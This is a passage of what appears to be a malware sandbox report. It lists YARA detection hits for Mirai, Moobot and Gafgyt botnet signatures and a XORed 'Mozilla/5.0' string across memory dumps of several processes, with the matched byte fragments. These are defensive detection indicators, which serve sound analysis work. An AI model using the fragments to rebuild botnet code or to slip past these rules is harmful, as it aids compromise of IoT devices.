0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6614.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7118.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7118.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7118.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7118.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7118.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7118.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7325.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7325.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7325.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7325.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7325.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7325.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6562.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6562.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6562.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6562.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6562.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6562.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6432.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6432.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6432.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6432.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6432.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6432.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6516.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6516.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6516.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6516.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6516.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6516.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7352.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7352.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7352.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7352.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7352.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7352.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7047.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
